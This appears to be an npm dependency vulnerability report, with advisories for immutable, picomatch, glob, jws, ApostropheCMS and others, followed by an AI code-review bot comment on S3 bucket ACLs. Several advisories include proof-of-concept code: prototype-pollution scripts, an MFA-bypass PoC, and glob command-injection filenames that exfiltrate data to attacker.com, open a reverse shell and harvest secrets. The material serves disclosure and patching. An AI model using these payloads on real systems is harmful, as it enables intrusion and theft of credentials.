immutable 5.1.1 (npm) pkg:npm/immutable@5.1.1 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') Affected range >=5.0.0 <5.1.5 Fixed version 5.1.5 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.060% EPSS Percentile 19th percentile Description Impact What kind of vulnerability is it? Who is impacted? A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. Affected APIs API Notes mergeDeep(target, source) Iterates source keys via ObjectSeq, assigns merged[key] mergeDeepWith(merger, target, source) Same code path merge(target, source) Shallow variant, same assignment logic Map.toJS() object[k] = v in toObject() with no __proto__ guard Map.toObject() Same toObject() implementation Map.mergeDeep(source) When source is converted to plain object Patches Has the problem been patched? What versions should users upgrade to? major version patched version 3.x 3.8.3 4.x 4.3.7 5.x 5.1.5 Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? Validate user input Node.js flag --disable-proto Lock down built-in objects Avoid lookups on the prototype Create JavaScript objects with null prototype Proof of Concept PoC 1 — mergeDeep privilege escalation "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true PoC 2 — All affected APIs "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) Verified output against immutable@5.1.4: mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted References Are there any links users can visit to find out more? JavaScript prototype pollution

picomatch 4.0.3 (npm) pkg:npm/picomatch@4.0.3 Inefficient Regular Expression Complexity Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Impact picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include: disable extglob support for untrusted patterns by using noextglob: true reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *() enforce strict allowlists for accepted pattern syntax run matching in an isolated worker or separate process with time and resource limits apply application-level request throttling and input validation for any endpoint that accepts glob patterns Resources Picomatch repository: https://github.com/micromatch/picomatch lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms Comparable ReDoS precedent: CVE-2024-4067 (micromatch) Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

connect-multiparty 2.2.0 (npm) pkg:npm/connect-multiparty@2.2.0 Unrestricted Upload of File with Dangerous Type Affected range <=2.2.0 Fixed version Not Fixed CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.448% EPSS Percentile 63rd percentile Description An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

glob 10.4.5 (npm) pkg:npm/glob@10.4.5 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Affected range >=10.2.0 <10.5.0 Fixed version 11.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.044% EPSS Percentile 14th percentile Description Summary The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true: stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) Technical Flow: User runs glob -c <command> <pattern> CLI finds files matching the pattern Matched filenames are collected into an array Command is executed with matched filenames as arguments using shell: true Shell interprets metacharacters in filenames as command syntax Malicious filenames execute arbitrary commands Affected Component: CLI Only: The vulnerability affects only the command-line interface Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems) Attack Surface: Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. Any directory where attackers can control filenames (PR branches, archives, user uploads) CI/CD pipelines using glob -c on untrusted content PoC Setup Malicious File: mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' Trigger Vulnerability: # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" Result: The echo command executes normally Additionally: The $(touch injected_poc) in the filename is evaluated by the shell A new file injected_poc is created, proving command execution Any command can be injected this way with full user privileges Advanced Payload Examples: Data Exfiltration: # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' Reverse Shell: # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' Environment Variable Harvesting: # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' Impact Arbitrary Command Execution: Commands execute with full privileges of the user running glob CLI No privilege escalation required - runs as current user Access to environment variables, file system, and network Real-World Attack Scenarios: 1. CI/CD Pipeline Compromise: Malicious PR adds files with crafted names to repository CI pipeline uses glob -c to process files (linting, testing, deployment) Commands execute in CI environment with build secrets and deployment credentials Potential for supply chain compromise through artifact tampering 2. Developer Workstation Attack: Developer clones repository or extracts archive containing malicious filenames Local build scripts use glob -c for file processing Developer machine compromise with access to SSH keys, tokens, local services 3. Automated Processing Systems: Services using glob CLI to process uploaded files or external content File uploads with malicious names trigger command execution Server-side compromise with potential for lateral movement 4. Supply Chain Poisoning: Malicious packages or themes include files with crafted names Build processes using glob CLI automatically process these files Wide distribution of compromise through package ecosystems Platform-Specific Risks: POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL Mixed Environments: CI systems often use Linux containers regardless of developer platform Affected Products Ecosystem: npm Package name: glob Component: CLI only (src/bin.mts) Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) Patched versions: 11.1.0and 10.5.0 Scope Limitation: Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable Remediation Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

async 0.9.2 (npm) pkg:npm/async@0.9.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.675% EPSS Percentile 71st percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

jws 4.0.0 (npm) pkg:npm/jws@4.0.0 Improper Verification of Cryptographic Signature Affected range =4.0.0 Fixed version 4.0.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.010% EPSS Percentile 1st percentile Description Overview An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions. Am I Affected? You are affected by this vulnerability if you meet all of the following preconditions: Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0 Application uses the jws.createVerify() function for HMAC algorithms Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines You are NOT affected by this vulnerability if you meet any of the following preconditions: Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability) Application uses only asymmetric algorithms (e.g. RS256) Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines Fix Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1 Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.

async 1.5.2 (npm) pkg:npm/async@1.5.2 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <2.6.4 Fixed version 2.6.4, 3.2.2 CVSS Score 7.8 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 0.675% EPSS Percentile 71st percentile Description A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

linkifyjs 4.2.0 (npm) pkg:npm/linkifyjs@4.2.0 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') Affected range <4.3.2 Fixed version 4.3.2 CVSS Score 8.8 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N EPSS Score 0.118% EPSS Percentile 31st percentile Description Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

tar-fs 2.1.3 (npm) pkg:npm/tar-fs@2.1.3 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.4 Fixed version 2.1.4 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.030% EPSS Percentile 8th percentile Description Impact v3.1.0, v2.1.3, v1.16.5 and below Patches Has been patched in 3.1.1, 2.1.4, and 1.16.6 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Reported by: Mapta / BugBunny_ai

picomatch 4.0.2 (npm) pkg:npm/picomatch@4.0.2 Inefficient Regular Expression Complexity Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Impact picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include: disable extglob support for untrusted patterns by using noextglob: true reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *() enforce strict allowlists for accepted pattern syntax run matching in an isolated worker or separate process with time and resource limits apply application-level request throttling and input validation for any endpoint that accepts glob patterns Resources Picomatch repository: https://github.com/micromatch/picomatch lib/parse.js and lib/constants.js are involved in generating the vulnerable regex forms Comparable ReDoS precedent: CVE-2024-4067 (micromatch) Comparable generated-regex precedent: CVE-2024-45296 (path-to-regexp)

apostrophe 4.17.0 (npm) pkg:npm/apostrophe@4.17.0 Improper Authentication Affected range <=4.27.1 Fixed version 4.28.0 CVSS Score 8.1 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.063% EPSS Percentile 20th percentile Description MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware Summary The bearer token authentication middleware in @apostrophecms/express/index.js (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using @apostrophecms/login-totp or any custom afterPasswordVerified login requirement. Severity The AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely. Affected Versions All versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with @apostrophecms/login-totp or any custom afterPasswordVerified requirement. Root Cause In packages/apostrophe/modules/@apostrophecms/express/index.js, the getBearer() function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the requirementsToVerify array is either absent (no MFA configured) or empty (all MFA requirements completed): async function getBearer() { const bearer = await self.apos.login.bearerTokens.findOne({ _id: req.token, expires: { $gte: new Date() }, // requirementsToVerify array should be empty or inexistant // for the token to be usable to log in. $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $ne: [] } } // BUG ] }); return bearer && bearer.userId; } The comment correctly states the intent: the array should be "empty or inexistant." However, the MongoDB operator $ne: [] matches documents where requirementsToVerify is NOT an empty array — meaning it matches tokens that still have unverified requirements. This is the exact opposite of the intended behavior. Token State requirementsToVerify $ne: [] result Should match? No MFA configured (field absent) N/A ($exists: false matches) Yes TOTP pending ["AposTotp"] true (BUG!) No All verified [] false (BUG!) Yes Field removed ($unset) (field absent) N/A ($exists: false matches) Yes Attack Scenario Prerequisites ApostropheCMS instance with @apostrophecms/login-totp enabled Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach) Attacker does NOT know the victim's TOTP secret/code Steps Authenticate with password only: POST /api/v1/@apostrophecms/login/login Content-Type: application/json {"username": "admin", "password": "correct_password", "session": false} Receive incomplete token (server correctly requires TOTP): {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"} Use incomplete token as bearer token (bypassing TOTP): GET /api/v1/@apostrophecms/page Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code. Proof of Concept See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run: #!/usr/bin/env node /** * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware * * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js * has a logic error in the MongoDB query that validates bearer tokens. * * The comment says: * "requirementsToVerify array should be empty or inexistant * for the token to be usable to log in." * * But the actual query uses `$ne: []` (NOT equal to empty array), * which matches tokens WITH unverified requirements — the exact opposite * of the intended behavior. * * This allows an attacker who knows a user's password (but NOT their * TOTP code) to use the "incompleteToken" returned after password * verification as a fully authenticated bearer token, bypassing MFA. * * Affected: ApostropheCMS with @apostrophecms/login-totp (or any * custom afterPasswordVerified requirement) * * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389 */ const RED = '\x1b[91m'; const GREEN = '\x1b[92m'; const YELLOW = '\x1b[93m'; const CYAN = '\x1b[96m'; const RESET = '\x1b[0m'; const BOLD = '\x1b[1m'; // Simulate MongoDB's $ne operator behavior function mongoNe(fieldValue, compareValue) { // MongoDB $ne: true if field value is NOT equal to compareValue // For arrays, MongoDB compares by value if (Array.isArray(fieldValue) && Array.isArray(compareValue)) { if (fieldValue.length !== compareValue.length) return true; return fieldValue.some((v, i) => v !== compareValue[i]); } return fieldValue !== compareValue; } // Simulate MongoDB's $exists operator function mongoExists(doc, field, shouldExist) { const exists = field in doc; return exists === shouldExist; } // Simulate MongoDB's $size operator function mongoSize(fieldValue, size) { if (!Array.isArray(fieldValue)) return false; return fieldValue.length === size; } // Simulate the VULNERABLE bearer token query (line 386-389) function vulnerableQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $ne: [] } } <-- BUG // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoNe(token.requirementsToVerify, []) : false; return cond1 || cond2; } // Simulate the FIXED bearer token query function fixedQuery(token) { // $or: [ // { requirementsToVerify: { $exists: false } }, // { requirementsToVerify: { $size: 0 } } <-- FIX // ] const cond1 = mongoExists(token, 'requirementsToVerify', false); const cond2 = ('requirementsToVerify' in token) ? mongoSize(token.requirementsToVerify, 0) : false; return cond1 || cond2; } function banner() { console.log(`${CYAN}${BOLD} ╔══════════════════════════════════════════════════════════════════╗ ║ ApostropheCMS MFA/TOTP Bypass PoC ║ ║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║ ║ @apostrophecms/express/index.js:386-389 ║ ╚══════════════════════════════════════════════════════════════════╝${RESET} `); } function test(name, token, expectedVuln, expectedFixed) { const vulnResult = vulnerableQuery(token); const fixedResult = fixedQuery(token); const vulnCorrect = vulnResult === expectedVuln; const fixedCorrect = fixedResult === expectedFixed; console.log(`${BOLD}${name}${RESET}`); console.log(` Token: ${JSON.stringify(token)}`); console.log(` Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`); console.log(` Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`); if (vulnResult && !fixedResult) { console.log(` ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`); } console.log(); return vulnResult && !fixedResult; } // ——— Main ——— banner(); const bypasses = []; console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`); // 1. Normal bearer token (no MFA configured) // Created by initialLogin when there are no lateRequirements // Token: { _id: "xxx", userId: "yyy", expires: Date } // No requirementsToVerify field at all test( '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED', { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) ); // 2. Incomplete token — password verified, TOTP NOT verified // Created by initialLogin when lateRequirements exist // Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date } const bypass1 = test( '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED', { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp']) false // fixed: rejected (correct) ); if (bypass1) bypasses.push('TOTP bypass'); // 3. Token after all requirements verified (empty array, before $unset) // After requirementVerify pulls each requirement from the array // Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date } test( '[Token 3] All requirements verified (empty array) — should be ACCEPTED', { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) }, false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match []) true // fixed: accepted (correct) ); // 4. Finalized token (requirementsToVerify removed via $unset) // After finalizeIncompleteLogin calls $unset // Token: { _id: "xxx", userId: "yyy", expires: Date } test( '[Token 4] Finalized token ($unset completed) — should be ACCEPTED', { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) }, true, // vulnerable: accepted (correct) true // fixed: accepted (correct) ); // 5. Multiple unverified requirements const bypass2 = test( '[Token 5] Multiple unverified requirements — should be REJECTED', { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) }, true, // vulnerable: ACCEPTED (BUG!) false // fixed: rejected (correct) ); if (bypass2) bypasses.push('Multi-requirement bypass'); // Attack scenario console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`); console.log(` ${YELLOW}Prerequisites:${RESET}`); console.log(` - ApostropheCMS instance with @apostrophecms/login-totp enabled`); console.log(` - Attacker knows victim's username and password`); console.log(` - Attacker does NOT know victim's TOTP code\n`); console.log(` ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`); console.log(` POST /api/v1/@apostrophecms/login/login`); console.log(` {"username": "admin", "password": "correct_password", "session": false}\n`); console.log(` ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`); console.log(` Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`); console.log(` (TOTP verification still required)\n`); console.log(` ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`); console.log(` GET /api/v1/@apostrophecms/page`); console.log(` Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`); console.log(` ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`); console.log(` MongoDB query: {`); console.log(` _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`); console.log(` expires: { $gte: new Date() },`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!`); console.log(` ]`); console.log(` }`); console.log(` The token has requirementsToVerify: ["AposTotp"]`); console.log(` $ne: [] matches because ["AposTotp"] !== []\n`); console.log(` ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`); console.log(` req.user is set, req.csrfExempt = true`); console.log(` Full API access without TOTP verification\n`); // Summary console.log(`${BOLD}${'='.repeat(64)}`); console.log(`Summary`); console.log(`${'='.repeat(64)}${RESET}`); console.log(` ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`); console.log(` ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`); console.log(` The MongoDB query uses $ne: [] which matches NON-empty arrays.`); console.log(` The comment says the array should be "empty or inexistant",`); console.log(` but $ne: [] matches exactly the opposite — non-empty arrays.\n`); console.log(` ${YELLOW}Vulnerable code:${RESET}`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { $ne: [] } } // BUG`); console.log(` ]\n`); console.log(` ${YELLOW}Fixed code:${RESET}`); console.log(` $or: [`); console.log(` { requirementsToVerify: { $exists: false } },`); console.log(` { requirementsToVerify: { $size: 0 } } // FIX`); console.log(` ]\n`); console.log(` ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`); console.log(` password can skip TOTP verification and gain full authenticated`); console.log(` API access by using the incompleteToken as a bearer token.\n`); console.log(` ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`); console.log(` issue where tokens with ALL requirements verified (empty array,`); console.log(` before the $unset runs) are incorrectly REJECTED. This is masked`); console.log(` by the fact that finalizeIncompleteLogin uses $unset to remove`); console.log(` the field entirely, so the $exists: false path is used instead.`); console.log(); console.log(); Both bypass vectors (single and multiple unverified requirements) confirmed. Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier: await self.bearerTokens.removeOne({ _id: token.userId // BUG: should be token._id }); The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means: The incomplete token is never deleted from the database, even after a legitimate MFA-verified login Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour) Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists This bug appears at two locations in finalizeIncompleteLogin: Line 728-729: Error case (user not found) Line 735-736: Success case (session-based login after MFA) Recommended Fix Fix 1: Bearer token query (express/index.js line 388) Replace $ne: [] with $size: 0: $or: [ { requirementsToVerify: { $exists: false } }, { requirementsToVerify: { $size: 0 } } // FIX: match empty array only ] This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens. Fix 2: Token deletion (login/index.js lines 728-729, 735-736) Replace token.userId with token._id: await self.bearerTokens.removeOne({ _id: token._id // FIX: use the token's actual ID });

path-to-regexp 0.1.12 (npm) pkg:npm/path-to-regexp@0.1.12 Inefficient Regular Expression Complexity Affected range <0.1.13 Fixed version 0.1.13 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.038% EPSS Percentile 11th percentile Description Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. Patches Upgrade to path-to-regexp@0.1.13 Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group. Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+). If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. References GHSA-9wv6-86v2-598j Detailed blog post: ReDoS the web

path-to-regexp 8.2.0 (npm) pkg:npm/path-to-regexp@8.2.0 Inefficient Regular Expression Complexity Affected range >=8.0.0 <8.4.0 Fixed version 8.4.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Impact A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service. Patches Fixed in version 8.4.0. Workarounds Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.

[coderabbitai]

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/`@apostrophecms/uploadfs/index.js:
- Line 12: The uploadfs module hardcodes acl: 'private', but init-localstack.sh
creates buckets with --acl public-read; update init-localstack.sh to create
buckets with --acl private to match the hardcoded acl and avoid permission
mismatches (and remove or stop relying on granting s3:PutObjectAcl if present).
Locate the bucket creation commands in init-localstack.sh and replace the --acl
public-read flag with --acl private so the bucket ACL aligns with the acl:
'private' setting in the module.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 955d9741-009c-4e9d-9b56-7630a306da90

📥 Commits

Reviewing files that changed from the base of the PR and between 310f0d9 and acf6e8b.
